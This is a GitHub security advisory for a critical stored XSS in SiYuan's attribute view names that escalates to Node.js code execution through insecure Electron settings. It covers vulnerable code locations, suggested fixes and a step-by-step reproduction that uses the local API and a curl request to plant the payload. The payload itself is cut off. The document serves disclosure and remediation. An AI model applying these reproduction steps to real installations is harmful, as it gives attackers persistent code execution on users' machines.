GitHub Advisoryadvisory · Go

GHSA-2h64-c999-c9r6 SiYuan Affected by Stored XSS via Attribute View Name to Electron Renderer RCE

CRITICAL Published 2026-05-08 Modified 2026-06-08 Official page ↗
Aliases
CVE-2026-44670
Ecosystem
Go
Packages
github.com/siyuan-note/siyuan/kernel
Severity
Critical
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Weaknesses
CWE-1188, CWE-79, CWE-94
Reviewed
2026-05-08

Affected packages

• Go github.com/siyuan-note/siyuan/kernel: < 0.0.0-20260512140701-d7b77d945e0d → fixed in 0.0.0-20260512140701-d7b77d945e0d

Description

Summary The kernel stores Attribute View (AV / database) names without any HTML escape, then a render template uses raw `strings.ReplaceAll(tpl, "${avName}", nodeAvName)` to embed the name in HTML before pushing to all clients via WebSocket. Three independent client paths (`render.ts:120` → `outerHTML`, `Title.ts:401` → `innerHTML`, `transaction.ts:559` → `innerHTML`) consume the value without escaping. Because the main BrowserWindow runs `nodeIntegration:true, contextIsolation:false, webSecurity:false` (`app/electron/main.js:407-411`), HTML injection in the renderer becomes Node.js code execution. Payload is stored on disk under `data/storage/av/.json`, replicates via every sync transport (S3 / WebDAV / cloud), survives `.sy.zip` export-import, and triggers for any role (Administrator / Editor / Reader / publish-service Visitor) opening a doc bound to the AV. Details Kernel write — no escape. `kernel/model/attribute_view.go:3244-3255`: ```go attrView.Name = strings.TrimSpace(operation.Data.(string)) attrView.Name = strings.ReplaceAll(attrView.Name, "\n", " ") if 512 ${avName}` // ... tpl := strings.ReplaceAll(attrAvNameTpl, "${avID}", nodeAvID) tpl = strings.ReplaceAll(tpl, "${avName}", nodeAvName) // ← raw ``` Sink #1 — AV body header → outerHTML. `app/src/protyle/render/av/render.ts:120` (returned from `genTabHeaderHTML`, written via outerHTML at `render.ts:596`): ```ts ${data.name || ""} // ... e.firstElementChild.outerHTML = `${genTabHeaderHTML(...)}...`; ``` Same pattern in `kanban/render.ts:227` and `gallery/render.ts:142`. Sink #2 — Doc title attribute strip → innerHTML. `app/src/protyle/header/Title.ts:396-403`: ```ts response.data.attrViews.forEach((item: { id: string, name: string }) => { avTitle += `${item.name}&nbsp;`; }); nodeAttrHTML += `...${avTitle}`; this.element.querySelector(".protyle-attr").innerHTML = nodeAttrHTML; ``` Sink #3 — WebSocket `updateAttrs` push → innerHTML. `app/src/protyle/wysiwyg/transaction.ts:549-562,659`: ```ts const escapeHTML = Lute.EscapeHTMLStr(data.new[key]); if (key === "bookmark") { bookmarkHTML = `...${escapeHTML}...`; } else if (key === "name") { nameHTML = `...${escapeHTML}...`; } else if (key === "alias") { aliasHTML = `...${escapeHTML}...`; } else if (key === "memo") { memoHTML = `...${escapeHTML}...`; } else if (key === "custom-avs" && data.new["av-names"]) { avHTML = `...${data.new["av-names"]}`; // ^^^^^^^^^^^^^^^^^^^^^^^^ raw, unlike the four siblings above } // ... attrElement.innerHTML = nodeAttrHTML + Constants.ZWSP; ``` The four sibling cases use `Lute.EscapeHTMLStr` — proving the team knows the right pattern; only `av-names` was missed. Renderer posture — RCE multiplier. `app/electron/main.js:407-411`: ```js webPreferences: { nodeIntegration: true, webviewTag: true, webSecurity: false, contextIsolation: false, } ``` Reachability. Route `/api/transactions setAttrViewName` requires `CheckAuth + CheckAdminRole + CheckReadonly`. On default install (`Conf.AccessAuthCode == ""`), `kernel/model/session.go:261-287` auto-grants Administrator to local-origin requests. The Origin check accepts `localhost` / loopback only but `chrome-extension://` is explicitly allowlisted (`session.go:277`), so any installed browser extension calls the API as admin. Local clients with no Origin header (CLI tools) also pass. Suggested fix 1. `kernel/model/attribute_view.go getAvNames` (line 3283-3284): replace the two `strings.ReplaceAll` calls with `template.HTMLEscapeString(nodeAvName)` for the `${avName}` substitution. 2. `transaction.ts:559`: wrap with `Lute.EscapeHTMLStr` to match siblings at lines 549-557. 3. `render.ts:120`: use `Lute.EscapeHTMLStr(data.name)` for both `data-title=` and the text content. 4. `Title.ts:396`: escape `item.name` via `Lute.EscapeHTMLStr` and `item.id` via `escapeAttr`. 5. *(Defense-in-depth)* Switch the main BrowserWindow to `contextIsolation: true` with a preload bridge — caps every future renderer XSS at "DOM only," not RCE. --- Reproduction (copy-paste-ready) Tested on Linux/macOS with SiYuan v3.6.5 (re-verified against `master` HEAD on 2026-05-03). Windows users: replace `python3` with `py` and use Git Bash / WSL for the shell snippets, or translate to PowerShell. Prereqs 1. Install SiYuan v3.6.5 from https://github.com/siyuan-note/siyuan/releases. Launch it once so the workspace at `~/SiYuanWorkspace` is initialized. Do not set an Access Authorization Code (default). 2. Verify the kernel responds: ```sh curl -s http://127.0.0.1:6806/api/system/version ``` Expected output (single line of JSON): ```json {"code":0,"msg":"","data":"3.6.5"} ``` 3. Pin shell variables for the rest of the PoC: ```sh API=http://127.0.0.1:6806 WS=~/SiYuanWorkspace # adjust if your workspace lives elsewhere NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \ -H 'Content-Type: application/json' -d '{}' \ | python3 -c 'import sys,json; print(json.load(sys.stdin)["data"]["notebooks"][0]["id"])') echo "Using notebook: $NOTEBOOK_ID" ``` Expected: a 14-digit-timestamp + `-7chars` ID like `20240101120000-abc1234`. If you get an empty string, you have no notebooks — open SiYuan and click "New notebook" once. Step A — Create the AV via the SiYuan UI (one-time, ~10 seconds) The kernel's `setAttrViewName` requires the AV file to already exist on disk (`av.ParseAttributeView` returns an error otherwise). The simplest way to create one is via the editor: 1. Open SiYuan. In any document, type `/database` and press Enter (or open the slash-command menu and pick Database). 2. The editor inserts an Attribute View block. The kernel writes a JSON file to `/data/storage/av/.json`. 3. Capture the AV ID — the most recently written file in that directory: ```sh AV_FILE=$(ls -1t "$WS/data/storage/av/"*.json 2>/dev/null | head -1) AV_ID=$(basename "$AV_FILE" .json) echo "AV_ID: $AV_ID" ``` Expected: same 14-digit-timestamp + `-7chars` shape, e.g. `20260503160000-aaaaaaa`. If empty, the AV file wasn't created — repeat the UI step. (If your workspace already has many AV files, this picks the newest by mtime; alternatively right-click the inserted database block in SiYuan → Inspect Element to read its `data-av-id` attribute.) 4. Capture the doc ID that hosts the AV: right-click the doc tab → Copy ID, or read it from the doc's `data-node-id` in DevTools (Ctrl+Shift+I). Set: ```sh DOC_ID= ``` Step B — Plant the XSS payload as the AV name The payload is written directly inside an unquoted heredoc so bash expands `$AV_ID` while preserving the `\"` JSON-escape sequences literally. Single-quote chars (`'`) in the inner JS need no escaping inside a JSON string. ```sh curl -s -X POST $API/api/transactions \ -H 'Content-Type: application/json' \ --data-binary @- " }], "undoOperations": [] }] } EO…

Related

Alias · CVE (1)

  • CVE-2026-44670 SiYuan is an open-source personal knowledge management system. vulnerability

Weakness · CWE (3)

  • CWE-1188 Initialization of a Resource with an Insecure Default weakness
  • CWE-79 Improper Neutralization of Input During Web Page Generation weakness
  • CWE-94 Improper Control of Generation of Code weakness

References